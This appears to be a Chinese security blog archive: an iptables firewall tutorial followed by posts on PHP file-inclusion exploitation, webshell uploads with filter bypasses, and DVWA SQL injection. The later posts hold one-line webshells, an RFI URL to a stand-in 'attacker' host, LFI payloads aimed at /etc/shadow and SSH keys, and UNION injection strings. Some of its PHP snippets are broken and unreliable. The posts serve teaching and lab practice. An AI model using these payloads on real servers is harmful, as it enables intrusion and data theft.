所以其实iptables只是Linux防火墙的管理工具而已，位于/sbin/iptables。真正实现防火墙功能的是 netfilter，它是Linux内核中实现包过滤的内部结构。

2. 规则（rules)

规则（rules）其实就是网络管理员预定义的条件，规则一般的定义为“如果数据包头符合这样的条件，就这样处理这个数据包”。

规则存储在内核空间的信息包过滤表中，这些规则分别指定了源地址、目的地址、传输协议（如TCP、UDP、ICMP）和服务类型（如HTTP、FTP和SMTP）等。当数据包与规则匹配时，iptables就根据规则所定义的方法来处理这些数据包，如放行（accept）、**拒绝（reject）和丢弃（drop）**等。

配置防火墙的主要工作就是添加、修改和删除这些规则。

3. 包过滤的工作层次：

主要是网络层，针对IP数据包。体现在对包内的IP地址、端口等信息的处理上。

3. iptables的表、链结构：

iptables作用：为包过滤机制的实现提供规则（或策略），通过各种不同的规则，告诉netfilter对来自某些源、前往某些目的或具有某些协议特征的数据包应该如何处理。

iptables内置了4个表，即filter表、nat表、mangle表和raw表，分别用于实现包过滤，网络地址转换、包重构(修改)和数据跟踪处理。链（chains）是数据包传播的路径，每一条链其实就是众多规则中的一个检查清单，每一条链中可以有一条或数条规则。

当一个数据包到达一个链时，iptables就会从链中第一条规则开始检查，看该数据包是否满足规则所定义的条件。如果满足，系统就会根据该条规则所定义的方法处理该数据包；否则iptables将继续检查下一条规则，如果该数据包不符合链中任一条规则，iptables就会根据该链预先定义的默认策略来处理数据包。

规则链：

规则的作用：对数据包进行过滤或处理
链的作用：容纳各种防火墙规则
链的分类依据：处理数据包的不同时机

默认包括5种规则链

INPUT：处理入站数据包
OUTPUT：处理出站数据包
FORWARD：处理转发数据包
POSTROUTING链：在进行路由选择后处理数据包（对数据链进行源地址修改转换）
PREROUTING链：在进行路由选择前处理数据包（做目标地址转换）

INPUT、OUTPUT链主要用在“主机型防火墙”中，即主要针对服务器本机进行保护的防火墙；而FORWARD、PREROUTING=、POSTROUTING链多用在“网络型防火墙”中。

规则表

表的作用：容纳各种规则链
表的划分依据：防火墙规则的作用相似

默认包括4个规则表：

raw表：确定是否对该数据包进行状态跟踪；对应iptable_raw，表内包含两个链：OUTPUT、PREROUTING
mangle表：为数据包的TOS（服务类型）、TTL（生命周期）值，或者为数据包设置Mark标记，以实现流量整形、策略路由等高级应用。其对应iptable_mangle，表内包含五个链：PREROUTING、POSTROUTING、INPUT、OUTPUT、FORWARD
nat表：修改数据包中的源、目标IP地址或端口；其对应的模块为iptable_nat，表内包括三个链：PREROUTING、POSTROUTING、OUTPUT
filter表：确定是否放行该数据包（过滤）；其对应的内核模块为iptable_filter，表内包含三个链：INPUT、FORWARD、OUTPUT

Iptables采用“表”和“链”的分层结构。注意一定要明白这些表和链的关系及作用。

4. 链、表的优先顺序

规则表之间的优先顺序
- Raw==》mangle==》nat==》filter
规则链之间的顺序
- 入站：PREROUTING==》INPUT
- 出站：OUTPUT==》POSTROUTING
- 转发：PREROUTING==》FORWARD==》POSTROUTIN
规则链内的匹配顺序
- 按顺序依次检查，匹配即停止（LOG策略例外）
- 若找不到相匹配的规则，则按该链的默认策略处理

0x01 编写防火墙规则

1. iptables 的基本语法、控制类型

iptables [ -t 表名] 选项 [链名] [条件] [ -j 控制类型]

注意事项：

不指定表名时，-t 默认指filter表
不指定链名时，默认指表内的所有链
除非设置链的默认策略，否则必须指定匹配条件
选项、链名、控制类型使用大写字母，其余均为小写

2. 数据包的常见控制类型

ACCEPT：允许通过

DROP：直接丢弃，不给出任何回应

REJECT：拒绝通过，必要时会给出提示

LOG：在/var/log/messages文件中记录日志信息，然后传给下一条规则继续匹配（匹配即停止对LOG操作不起作用，因为LOG只是一种辅助动作，并没有真正的处理数据包）

3. iptables命令的管理控制选项

-A 在指定链的末尾添加（append）一条新的规则 -D 删除（delete）指定链中的某一条规则，可以按规则序号和内容删除
-I 在指定链中插入（insert）一条新的规则，默认在第一行添加-R 修改、替换（replace）指定链中的某一条规则，可以按规则序号和内容替换
-L 列出（list）指定链中所有的规则进行查看
-E 重命名用户定义的链，不改变链本身
-F 清空（flush）
-N 新建（new-chain）一条用户自己定义的规则链
-X 删除指定表中用户自定义的规则链（delete-chain）
-P 设置指定链的默认策略（policy）
-Z 将所有表的所有链的字节和数据包计数器清零
-n 使用数字形式（numeric）显示输出结果
-v：以更详细的方式显示规则信息
–line-numbers：查看规则时，显示规则的序号-X：删除自定义的规则链 eg：将filter表中FORWARD链中的默认策略设为丢弃，OUTPUT链的默认策略设为允许

4. 规则的匹配条件

通用匹配
- 协议匹配: -p [协议名]
- 地址匹配
- - -s [源地址]
  - -d [目标地址]
- 接口匹配
- - -i [入站网卡]
  - -o [出站网卡]
隐含匹配
- 端口匹配
- - -sport [源端口]
  - -dport [目标端口]
- TCP标记匹配：–tcp-flags [检查范围] [被设置的标记]
- ICMP类型匹配：–icmp-type [ICMP类型]
显式匹配
- 多端口匹配：-m multiport –sport | –dport [端口列表]
- IP范围匹配：-m iprange –src-range [IP范围]
- MAC地址匹配：-m mac –mac-range [MAC地址]
- 状态匹配：-m state –state [连接状态]

常见通用匹配条件：

协议匹配：-p [协议名]

（eg：tcp、udp、icmp、all(针对所有IP数据包)），可用的协议类型存放于Linux系统的/etc/procotols文件中；

eg：丢弃通过icmp协议访问防火墙本机的数据包、允许转发经过防火墙的除icmp协议以外的数据包：

[root@iptables ~]# iptables -I INPUT -p icmp -j DROP
[root@iptables ~]# iptables -A FORWARD -p ! icmp -j ACCEPT

【！】表示取反

2. 地址匹配：-s [源地址]、 -d [目标地址]

可以是IP地址、网段地址，但不建议使用主机名、域名地址，因为解析过程会影响效率

eg：拒绝转发源地址为192.168.10.100的数据、允许转发源地址位于192.168.1.0/24网段的数据：

[root@iptables ~]# iptables -A FORWARD -s 192.168.10.100 -j REJECT [root@iptables ~]# iptables -A FORWARD -s 192.168.1.0/24 -j ACCEPT

当遇到小规模的网络扫描或攻击时，封IP地址是比较有效的方式。

eg：添加防火墙规则封锁来自172.16.16.0/24网段的频繁扫描、登录穷举等不良企图：

[root@iptables ~]# iptables -I INPUT -s 172.16.16.0/24 -j DROP [root@iptables ~]# iptables -I FORWARD -s 172.16.16.0/24 -j DROP

3. 接口匹配：-i [入站网卡]、-o [出站网卡]

eg：丢弃从外网接口eth0访问防火墙本机且源地址为私有地址的数据包：

[root@iptables ~]# iptables -A INPUT -i eth0 -s 172.16.0.0/12 -j DROP

常用隐含匹配条件：

1. 端口匹配：–sport [源端口]、–dport [目的端口]

单个端口号或者以冒号“：”分隔的端口范围都是可以接受的，但不连续的多个端口不能采用这种方式。

eg：允许为网段192.168.1.0/24转发DNS查询数据包：

[root@iptables ~]# iptables -A FORWARD -s 192.168.1.0/24 -p udp --dport 53 -j ACCEPT [root@iptables ~]# iptables -A FORWARD -d 192.168.1.0/24 -p udp --sport 53 -j ACCEPT

eg：构建vsftpd服务器时，开放20、21端口，以及用于被动模式的端口范围24500~24600：

[root@iptables ~]# iptables -A INPUT -p tcp --dport 20:21 -j ACCEPT [root@iptables ~]# iptables -A INPUT -p tcp --dport 24500:24600 -j ACCEPT

2. TCP标记匹配：–tcp-flags 检查范围被设置的标记

针对协议为TCP、用来检查数据包的标记位（–tcp-flags）

“检查范围”指出需要检查数据包的哪几个标记，“被设置的标记”则明确匹配对应值为1的标记，多个标记之间以逗号进行分隔。

eg：拒绝从外网接口eth0直接访问防火墙本机的TCP请求，但允许其他主机发给防火墙的TCP等响应数据包请求：

[root@iptables ~]# iptables -P INPUT DROP [root@iptables ~]# iptables -I INPUT -i eth0 -p tcp --tcp-flags SYN,RST,ACK SYN -j DROP [root@iptables ~]# iptables -I INPUT -i eth0 -p tcp --tcp-flags ! --syn -j ACCEPT

3. ICMP类型匹配：–icmp-type ICMP类型

ICMP类型使用字符串或数字代码表示：

Echo-Request代码为8——表ICMP请求；
Echo-Reply代码为0——ICMP回显；
Destination-Unreachable代码为3——ICMP目标不可达；

eg：禁止从其他主机ping本机，但是允许本机ping其他主机：

[root@iptables ~]# iptables -A INPUT -p icmp --icmp-type 8 -j DROP [root@iptables ~]# iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT [root@iptables ~]# iptables -A INPUT -p icmp --icmp-type 3 -j ACCEPT [root@iptables ~]# iptables -A INPUT -p icmp -j DROP

常用的显式匹配条件

1. 多端口匹配：-m multiport –sports [源端口列表]

-m multiport –dports [目的端口列表]

eg：允许本机开放25、80、110、143端口，以便提供电子邮件服务：

[root@iptables ~]# iptables -A INPUT -p tcp -m multiport --dport 25,80,110,143 -j ACCEPT

2. IP范围匹配：-m iprange –src-range [IP范围]

用来检查数据包的源地址、目标地址，其中IP范围采用“起始地址—结束地址”的形式：

eg：禁止转发源IP地址位于192.168.1.10与192.168.1.20之间的TCP数据包：

[root@iptables ~]# iptables -A FORWARD -p tcp -m iprange --src-range 192.168.1.10-192.168.1.20 -j ACCEPT

3. MAC地址匹配：-m mac –mac-source [MAC地址]

因为MAC地址的局限性，此类匹配一般只适用于内部网络。

eg：根据MAC地址封锁主机，禁止其访问本机的任何应用：

[root@iptables ~]# iptables -A INPUT -m mac --mac-source 00:01:02:03:04:cc -j DROP

4. 状态匹配：-m state –state [连接状态]

基于iptables的状态跟踪机制用来检查数据包的连接状态（State）
常见的连接状态包括NEW（与任何连接无关的）、ESTABLISHED（响应请求或者已建立连接的）、RELATED（与已有连接有相关性的，eg：FTP数据连接）。

eg：禁止转发与正常TCP连接无关的非“–syn”请求数据包（如伪造的一些网络攻击数据包）：

[root@iptables ~]# iptables -A FORWARD -m state --state NEW -p tcp ! --syn -j DROP

eg：只开放本机的web服务（80端口），但对发给本机的TCP应答数据包予以放行，其他入站数据包均丢弃：

[root@iptables ~]# iptables -I INPUT -p tcp -m multiport --dport 80 -j ACCEPT
[root@iptables ~]# iptables -I INPUT -p tcp -m state --state ESTABLISHED -j ACCEPT
[root@iptables ~]# iptables -P INPUT DROP

0x02 iptables防火墙规则的保存与恢复

1、保存iptables的规则，避免开机失效

iptables-save > /etc/iptables

2、编辑网卡，写入开机加载iptables规则

vi  /etc/network/interfaces

3、在网卡配置文件中写入加载之前保存的规则文件使其开机可以加载iptables的规则文件

 iptables-restore < /etc/iptables

0x03 SNAT和DNAT

SNAT是指在数据包从网卡发送出去的时候，把数据包中的源地址部分替换为指定的IP，这样，接收方就认为数据包的来源是被替换的那个IP的主机。

DNAT就是指数据包从网卡发送出去的时候，修改数据包中的目的IP，表现为如果你想访问A，可是因为网关做了DNAT，把所有访问A的数据包的目的IP全部修改为B，那么，你实际上访问的是B 因为，路由是按照目的地址来选择的。

因此DNAT是在PREROUTING链上来进行的，而SNAT是在数据包发送出去的时候才进行，所以是在POSTROUTING链上进行的。通过SNAT和DNAT可以使内网和外网进行相互通讯。#

##SNAT策略概述

SNAT策略的典型应用环境

SNAT策略的典型应用环境

局域网主机共享单个公网IP地址接入Internet

SNAT策略的原理

源地址转换（Source Network Address Translation）是linux防火墙的一种地址转换操作，也是iptables命令中的一种数据包控制类型，并根据指定条件修改数据包的源IP地址。
实验环境拓扑：
实验分析：
- a：只开启路由转发，未做地址转换的情况：
  
  分析：
  - 从局域网PC机访问Internet的数据包经过网关转发后其源IP地址保持不变；
  - 当Internet中的主机收到这样的请求数据包后，响应数据包将无法正确返回，从而导致访问失败。
- b：开启路由转发，并设置SNAT转换的情况：
  
  分析：
  - 局域网PC机访问Internet的数据包到达网关服务器时，会先进行路由选择；
  - 如果该数据包需要从外网接口eth0向外转发，则将其源IP地址192.168.10.2修改为网关的外网接口地址210.106.46.151，然后发送给目标主机。
b访问方式的优点：Internet中的服务器并不知道局域网PC机的实际IP地址，中间的转换完全由网关主机完成，起到了保护内部网络的作用。

SNAT策略的应用

前提条件：

局域网各主机正确设置IP地址/子网掩码
局域网各主机正确设置默认网关地址
Linux网关支持IP路由转发

实现方法：

编写SNAT转换规则

SNAT共享固定IP地址上网：

实验环境描述：
- Linux网关服务器两块网卡eth0：210.106.46.151连接Internet、eth1：192.168.10.1连接局域网，开启IP路由功能
- 局域网PC机的默认网关设为192.168.10.1，并设置正确的DNS服务器。
- 内网和外网分别新建客户机，分别指定对应的网关地址，在外网客户机上开启httpd服务，在内网客户机中访问httpd服务，最后查看httpd客户机的访问记录；
- 要求：192.168.10.0/24网段的PC机能够通过共享方式正常访问internet。
实验步骤：

1：打开网关的路由转发（IP转发是实现路由功能的关键所在）：

打开路由转发的两种方式：
- 永久打开（修改/proc文件系统中的ip_forward，当值为1时表示开启，为0表示关闭）：
- 临时开启，临时生效
2：正确设置SNAT策略（若要保持SNAT策略长期有效，应将相关命令写入rc.local中）：
```
[root@localhost ~]# iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j SNAT --to-source 210.106.46.151
```
```
	
  3：测试SNAT共享接入的结果：
	
  	上诉操作完成后，使用局域网PC就可以正常访问Internet中的网站。
	
  	对于被访问的网站服务器，在日志文件中将会记录以网关主机210.106.46.151访问。
```

共享动态IP地址上网：

MASQUERADE —— 地址伪装
适用于外网IP地址非固定的情况
对于ADSL拨号连接，接口通常为ppp0、ppp1
将SNAT规则改为MASQUERADE即可

实例：

[root@localhost ~]# iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o ppp0 -j MASQUERADE

如果网关使用固定的公网IP地址，建议选择SNAT策略而不是MASQUERADE策略，以减少不必要的系统开销。

##DNAT策略概述

DNAT策略的原理：

目标地址转换，Destination Network Address Translation，是Linux防火墙的另一种地址转换操作，也是iptables命令中的一种数据包控制类型，其作用是根据指定条件修改数据包的目标IP地址、目标端口。

SNAT用来修改源IP地址，而DNAT用来修改目标IP地址、目标端口；SNAT只能用在NAT表的POSTROUTING链，而DNAT只能用在NAT表的PREROUTING链和OUTPUT链（或被其调用的链）中。

PHP文件包含介绍及一些利用方式

Tue, 11 Apr 2017 00:00:00 +0000

文件包含介绍

严格来说，文件包含漏洞是“代码注入“的一种。代码注入的原理就是注入一段用户能控制的脚本或代码，并让服务端执行。

代码注入的典型代表就是文件包含。文件包含可能会出现在JSP、PHP、ASP等语言中。

常见的导致文件包含的函数如下：

PHP: include(), include_once(), require(),require_once, fopen(), readfile() ….
JSP/Servlet: ava.io.File(),java.io.FileReader() …
ASP:include file, include virtual…

PHP文件包含主要由这四个函数完成：

include()
require()
include_once()
require_once()

当使用这4个函数包含一个新的文件时，该文件将作为PHP代码执行，PHP内核并不会在意该被包含文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL，也都将作为PHP代码执行。

比如DVWA low等级的文件上传

<?php include($_GET[page]);?>

在同目录留一个包含了可执行的PHP代码的txt文件

再执行漏洞URL，发现代码被执行了

要成功的利用文件包含漏洞，需要满足下面两个条件：

include（）等函数通过动态变量的方式引入需要包含的文件
用户能够控制该动态变量

下面我们深入看看文件包含漏洞还能导致哪些后果

本地文件包含

普通本地文件包含

能够打开并包含本地文件的漏洞，被称为本地文件包含漏洞（Local File Inclusion/LFI）。比如下面这段代码就存在LFI漏洞。

<?php
file = _GET[‘file’];      // “../../etc/passwd\0
if (file_exisits(‘/home/wwwrun/’.$file.’.php’)) {
  //file_exists will return true as the file/home/wwwrun/../../etc/passwd exists  
  Include‘/home/wwwrun/’.$file.’.php’;
  // the file /etc/passwd will be included
}
?>

用户能够控制参数file。当file的值为../../etc/passwd时，PHP将访问/etc/passwd文件。

但是在此之前，还需要解决Include‘/home/wwwrun/’.$file.’.php’;

这种写法将变量与字符串连接起来，假如用户控制$file的值为../../etc/passwd，这段代码相当于Include‘/home/wwwrun/../../etc/passwd.php’;

被包含的文件实际上是/etc/passwd.php，但是实际上这个文件是不存在的

有限制的本地文件包含

%00截断

PHP内核是由C语言实现的，因此使用了C语言中的一些字符串处理函数。在连接字符串时，0字节（\x00）将作为字符串结束符。所以在这个地方，只要在最后加入一个0字节，就能截断file变量之后的字符串，即

../../etc/passwd\0

在Web输入时只需URL编码一下，变成

../../etc/passwd%00

(需要 magic_quotes_gpc=off，PHP小于5.3.4有效)

%00截断目录遍历

?file=../../../../../../../../../var/www/%00

(需要 magic_quotes_gpc=off，unix文件系统，比如FreeBSD，OpenBSD，NetBSD，Solaris)

防御%00截断

在一般的Web应用中，0字节是用户不需要的，因此可以完全禁用0字节，比如：

<?php
function getVar($name){
  value =isset(GET[name] ? GET[$name] : null; 
  if(is_string($value)){
    value= str_replace(“\0”, ‘ ‘ , value);  
  }
}
?>

构造长目录截断

但是光防御0字节是肯定不够的。俗话说上有政策下有对策，国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制，可以不需要0字节而达到截断的目的。

目录字符串在Windows下256字节、Linux下4096字节时达到最大值，最大值长度之后的字符将被丢弃。

而只需通过【./】就可以构造出足够长的目录。比如

././././././././././././././././passwd

或者

////////////////////////passwd

又或者

../1/abc/../1/abc/../1/abc..

(php版本小于5.2.8(?)可以成功，linux需要文件名长于4096，windows需要长于256)

点号截断

?file=../../../../../../../../../boot.ini/………[…]…………

(php版本小于5.2.8(?)可以成功，只适用windows，点号需要长于256)

普通远程文件包含

如果PHP的配置选项allow_url_include为ON的话（默认是关闭的），则include/require函数是可以加载远程文件的，这种漏洞被称为远程文件包含漏洞（Remote File Inclusion，简称RFI）

例如：

<?php
if($route == "share"){
  require_once $basePath .'/action/m_share.php';
}
elseif($route == "sharelink"){
  require_once $basePath ./'action/m_sharelink.php';}
?>

在$basePath前没有设置任何障碍，因此攻击者可以构造类似如下的恶意URL：

/?param=http://attacker/phpshell.txt?

最终加载的代码实际上执行了：

require_once 'http://attacker/phpshell.txt?/action/m_share.php';

问号后面的代码最终被解释成URL的querystring（查询用字符串）,这也算一种截断方式，这是利用远程文件包含漏洞时的常见技巧。同样，%00也可以作为截断符号。

本地文件包含的利用技巧

本地文件包含漏洞，是有机会执行php代码的，但这取决于一些条件

经过不懈研究，安全研究者总结出了一下几种常见的技巧，用于本地文件包含后执行php代码。

（1）包含用户上传的文件

（2）包含data://或php://input等伪协议

（3）包含session文件

（4）包含日志文件

（5）包含/proc/self/environ

（6）包含上传的临时文件

（7）包含其他应用创建的文件，如数据库文件，缓存文件，应用日志等，需具体问题具体分析

常见利用方式

?file=.htaccess

?file=../../../../../../../../../var/lib/locate.db

?file=../../../../../../../../../var/lib/mlocate/mlocate.db

（linux中这两个文件储存着所有文件的路径，需要root权限）

包含错误日志：?file=../../../../../../../../../var/log/apache/error.log （试试把UA设置为“”来使payload进入日志）
获取web目录或者其他配置文件：

?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf

包含上传的附件：

?file=../attachment/media/xxx.file

读取session文件：

?file=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7

（session文件一般在/tmp目录下，格式为sess_[your phpsessid value]，有时候也有可能在/var/lib/php5之类的，在此之前建议先读取配置文件。在某些特定的情况下如果你能够控制session的值，也许你能够获得一个shell）

如果拥有root权限还可以试试读这些东西：

/root/.ssh/authorized_keys

/root/.ssh/id_rsa

/root/.ssh/id_rsa.keystore

/root/.ssh/id_rsa.pub

/root/.ssh/known_hosts

/etc/shadow

/root/.bash_history

/root/.mysql_history

/proc/self/fd/fd[0-9]* (文件标识符)

/proc/mounts

/proc/config.gz

如果有phpinfo可以包含临时文件：

参考：

[1]《白帽子讲Web安全》，吴翰清

[2] PHP文件包含漏洞总结 - wangjian1012的博客 - 博客频道 - CSDN.NET

木马文件上传防御策略及几种绕过检测方式

Mon, 20 Mar 2017 00:00:00 +0000

0x01 中国菜刀连接

1. WebShell

WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境，也可以将其称做为一种网页后门。黑客在入侵了一个网站后，通常会将asp或php后门文件与网站服务器WE目录下正常的网页文件混在一起，然后就可以使用浏览器或工具来访问asp或者php后门，得到一个命令执行环境，以达到控制网站服务器的目的。

通常来说，上传一句话木马通过中国菜刀连接是比较简便地拿到服务器的方法。菜刀可以连接asp、aspx、php、jsp的一句话木马。

2. 一句话木马

asp：
```
<%eval request("pass")%>
```

aspx:

<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

php:
```
<?php @eval($_POST['pass']);?>
```

其中，pass是这个木马中的密码的值，也可以替换为其他字符。

3. 一句话木马运作方式

首先，可以把这个一句话木马插入到一个正常的网站文件中，asp的插入到asp文件里，php的插入到php文件里，其他同理。也可以把木马单独写在一个文件里，比如新建一个php文件，整个php文件内容就只有这一句话。

插入的方法，一般来讲是通过文件上传功能，如作业上传网站、图片上传网站，将木马文件上传到目标网站的服务器中，再将文件存储的链接添加到菜刀中，输入木马的密码即可直接拿到服务器的控制权。

4. 简单的例子

编写php木马

<?php @eval($_POST['xxt']);?>

将该php文件命名为【xxt.php】

降低DVWA安全标准

因为这里主要是介绍菜刀的连接方式，为了简便使用没有防备的上传点。

在DVWA漏洞训练平台中，登陆后将DVWA的安全级别调整为low（见红框内）。调整之后选择 File Upload, 进入页面。

上传php木马

浏览文件，选择【xxt.php】，点击 Upload 上传。

上传成功，显示了文件的保存路径。前两个省略号是指父级目录，因此文件的绝对路径为

http://127.0.0.1/dvwa-master/hackable/uploads/xxt.php

菜刀连接

打开菜刀，右键—> 添加—>输入绝对路径和密码—>添加

最上方的就是我们刚添加的后门路径，双击即可查看服务器文件夹，并对其操作

因为这个DVWA平台是在我的本地服务器搭的，所以这里的服务器就是我自己的电脑啦

0x02 文件上传防御策略

1. 常见防御策略

在一般的网站中，是不可能直接让你上传木马文件的，都要对上传进行过滤。

通常会有文件类型限制、文件大小限制等过滤方式。文件类型限制最为常见，一般有前台文件扩展名检测、服务器端扩展名检测、content-type 参数检测或文件内容检测。

前台脚本检测扩展名

当用户在客户端选择文件点击上传的时候，客户端还没有向服务器发送任何消息，就对本地文件进行检测来判断是否是可以上传的类型，这种方式称为前台脚本检测扩展名。绕过前台脚本检测扩展名，就是将所要上传文件的扩展名更改为符合脚本检测规则的扩展名，通过BurpSuite工具，截取数据包，并将数据包中文件扩展名更改回原来的，达到绕过的目的。

Content-Type文件类型检测

Content-Type，内容类型，是网页请求中附带的参数，用于定义网络文件的类型和网页的编码，决定文件接收方将以什么形式、什么编码读取这个文件，这就是经常看到一些Asp网页点击的结果却是下载到的一个文件或一张图片的原因。

ContentType 一般参数有

application/x-cdf 应用型文件
text/HTML 文本
image/JPEG jpg 图片
image/GIF gif图片

当浏览器在上传文件到服务器的时候，服务器对说上传文件的 Content-Type 类型进行检测，如果是白名单允许的，则可以正常上传，否则上传失败。绕过 Content—Type 文件类型检测，就是用 BurpSuite 截取并修改数据包中文件的 Content-Type 类型，使其符合白名单的规则，达到上传的目的。

服务器端扩展名检测

当浏览器将文件提交到服务器端的时候，服务器端会根据设定的黑白名单对浏览器提交上来的文件扩展名进行检测，如果上传的文件扩展名不符合黑白名单的限制，则不予上传，否则上传成功。

文件内容检测

一般文件内容验证使用getimagesize()函数检测，会判断文件是否是一个有效的文件图片，如果是，则允许上传，否则的话不允许上传。所以经常要将一句话木马插入到一个【合法】的图片文件当中，然后用中国菜刀远程连接。

0x03 绕过检测上传

1. 利用00截断上传绕过前台检测

比如某网站的上传点采用了前端扩展名检测，只允许上传图片文件，而我们要上传一个php木马，可以按照以下步骤

php木马伪装jpg文件

先编写一个一句话木马，命名为【lubr.php.jpg】，因为扩展名检测是从文件名的右边往左读的，当读到第一个【. 】的时候，便通过扩展名确定这个文件的类型。这里就将 php 文件伪装成了jpg 文件。
BurpSuite拦截改2e为00

开启 BurpSuite 的【proxy】功能，在选择【lubr.php.jpg】文件后，点击上传。

这时上传文件的数据包不会直接发往服务器，而是要经由 Burp 来发送，我们在这里可以查看和修改数据包的内容。

点击hex查看十六进制源码，如下图

找到 lubr.php.jpg 对应的源码，将 lubr.php 后的【.】对应的【2e】改为【00】

【00】对应【空】 ,注意【空格Space】不等于【空】

点击【forward】，即可成功上传文件
菜刀连接

获取php木马的绝对路径，略

2. 截断改扩展名绕过前台检测

与00截断类似，此方法也是通过截断数据包做修改来实现的。

如果直接上传php文件，会被拦截。

准备一句话木马

先写一个php一句话木马，然后在这里命名为 lubr.jpg，而不是php文件
BurpSuite拦截改扩展名

在BurpSuite中会抓到截取的数据包，在数据包中将所上传的文件后缀名由【.jpg】改为【.php】

点击【forward】，传递数据包，前台即可提示，上传【lubr.php】成功

略

3. 绕过Content-Type检测文件类型上传

Content-Type如果为【application/octet-stream】，这一般是可运行程序（木马）的类型，因此会拒绝上传。但如果我们将其改为【image/gif】图片类型，可能就能够绕过该检测。

BurpSuite拦截改Content-Type参数

在BurpSuite中会抓到截取的数据包，在数据包中将所上传的文件的Content-Type由【application/octet-stream】改为【image/gif】

点击【forward】，传递数据包，前台即可提示，上传【lubr.php】成功

略

4. apache解析漏洞上传shell绕过服务器端扩展名检测

Apache 识别文件类型是从右向左识别的，如果如遇不认识的扩展名会向前一次识别，直到遇到能识别的扩展名**，**因为Apache认为一个文件可以拥有多个扩展名，哪怕没有文件名，也可以拥有多个扩展名。这种漏洞存在于使用module模式与php结合的所有版本的Apache。

假如某网站刚好使用了有解析漏洞版本的Apache，而且其对服务器端对【.php】文件直接上传做了过滤。

一句话木马

因为服务器端对【.php】上传做了过滤，因此无论怎么用BurpSuite修改都不能上传成功。

如果将该木马命名为【lubr.php.adc】，则显示上传成功。

因为服务器端黑名单只限制了几种扩展名的上传，而其他扩展名都是合法的，不论这种扩展名是否有效，而apache却能识别无效的扩展名并不予解析，这种不对称的扩展名识别造成了上传漏洞的产生。
菜刀连接

菜刀也不识别【.abc】，直接解析【.php】，连接成功。

5. 构造图片马绕过文件内容检测

文件内容检测脚本中getimagesize(string filename)函数会通过读取文件头，返回图片的长、宽等信息，如果没有相关的图片文件头，函数会报错，是一种比较严的防御措施。但并不代表其牢不可破。

虽然php内容不合法，但我们可以将其伪装成一个图片，以欺骗检测脚本来进行非法上传。

构造图片马

随便找一个图片，将其与要上传的木马置于同一文件夹下

打开cmd，进入该文件夹，输入
```
copy doram.jpg/b+lubr.php/a xiaoma.jpg
```
将【lubr.php】插入到【doram.jpg】中。其中【xiaoma.jpg】是插入后的文件。

用记事本打开【xiaoma.jpg】，发现木马插入到了文件最后。
上传木马

将文件名改为【xiaoma.jpg.php】，然后上传成功，菜刀连接。

以上就是几种检测情况的绕过方法，真实情况下需各种方式配合使用。

DVWA的SQL注入测试

Thu, 09 Feb 2017 00:00:00 +0000

SQL注入：在用户的输入没有被转义字符过滤时。就会发生这种形式的注入式攻击，它会传递给数据库一个SQL语句。这样就会导致应用程序的终端用户对数据库上的语句实施操纵。就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

具体来说，它是利用现有的应用出现，将（恶意）的SQL目录注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。

步骤

低安全等级文件包含

登陆DVWA

使用浏览器打开``,输入用户名密码登陆。

调整安全级别

登陆后将DVWA的安全级别调整为low（见红框内）。调整之后选择SQL Injection，进入页面。

简单的ID查询

提示输入User ID，输入正确的ID，将显示ID First name，Surname信息。

检测是否存在注入

可以得知此处位注入点，尝试输入'，返回错误。

遍历数据库表

尝试遍历数据库表，提示输入的值是ID，可以初步判断此处为数字类型的注入。尝试输入1 or 1=1，尝试遍历数据库表。

可见并没有达成目的，猜测程序将此处看成了字符型，尝试输入1' or' 1' =' 1后遍历出了数据库中所有内容。下面尝试不同语句，得到不同的结果。

查询信息列表长度

利用order by [num]语句来测试查询信息列表长度，修改num的值,这里我们输入1' order by 1 --结果页面正常显示，注意–后面有空格。继续测试，1' order by 2 --，1' order by 3 --，当输入3时，页面报错。页面错误信息如下：Unknown column '3' in 'order clause'，由此我们判断查询结果值为2列。

获取数据库名称、账户名、版本及操作系统信息

通过使用user()，database()，version()三个内置函数得到连接数据库的账户名、数据库名称、数据库版本信息。

首先参数注入1' and 1=2 union select 1,2 --(注意–后有空格)。

由上图得知，First name处显示结果位查询结果的第一列的值，surname处显示结果位查询结果第二列的值。

通过注入1' and 1=2 union select user(),database() --得到数据库用户为root@localhost及数据库名dvwa

通过注入1' and 1=2 union select version(),database() --得到数据库版本信息，此处数据库版本为5.0.90-community-nt。

通过注入1' and 1=2 union select 1,@@global.version_compile_os from mysql.user --获得操作系统信息。

查询mysql数据库所有数据库及表

通过注入1' and 1=2 union select 1,schema_name from information_schema.schemata --查询mysql数据库的所有数据库名。

这里利用mysql默认的数据库information_schema，该数据库存储了Mysql所以数据库和表的信息。如图所示

猜解表名

通过注入1' and exists(select * from users) --猜解dvwa数据库中的表名。

利用1' and exists(select * from [表名])，这里测试的结果，表名为users，在真实的渗透环境中，攻击者往往关心存储管理员用户和密码信息的表。

猜解字段名

猜解字段名：1' and exists(select [表名] from users) --。这里测试的字段名有first_name,last_name。

通过注入1' and exists(select first_name from users) --和1' and exists(select last_name from users) --猜解字段名。

爆出数据库中字段内容

注入1' and 1=2 union select first_name,last_name from users --，这里其实如果是存放管理员账户的表，那么用户名，密码信息字段就可以爆出来了。

代码分析

low等级源代码

如图所示

通过代码可以看出，对输入$id的值没有进行任何过滤就直接放入了SQL语句中进行处理，这样带来了极大的隐患。

中等等级代码分析

将DVWA安全级别调整位medium，查看源代码。

通过源代码可以看出，在中等级别时对输入的$id值使用mysql_real_eascape_string()函数进行了处理。在PHP中，使用mysql_real_eascape_string()函数用来转移SQL语句中使用字符串的特殊字符。但是使用这个函数对参数进行转换是存在绕过的。只需要将攻击字转换一下编码格式即可绕过该防护函数。比如URL编码等方式。

同时发现SQL语句中变成了“WHRER user_id = “$id” ，此处变成了数字型注入，所以此处使用mysql_real_eascape_string()函数并没有起到防护作用。可以通过类似于1 or 1=1的语句来进行注入。

高等级代码分析

将DVWA安全级别调整为high，查看源代码。

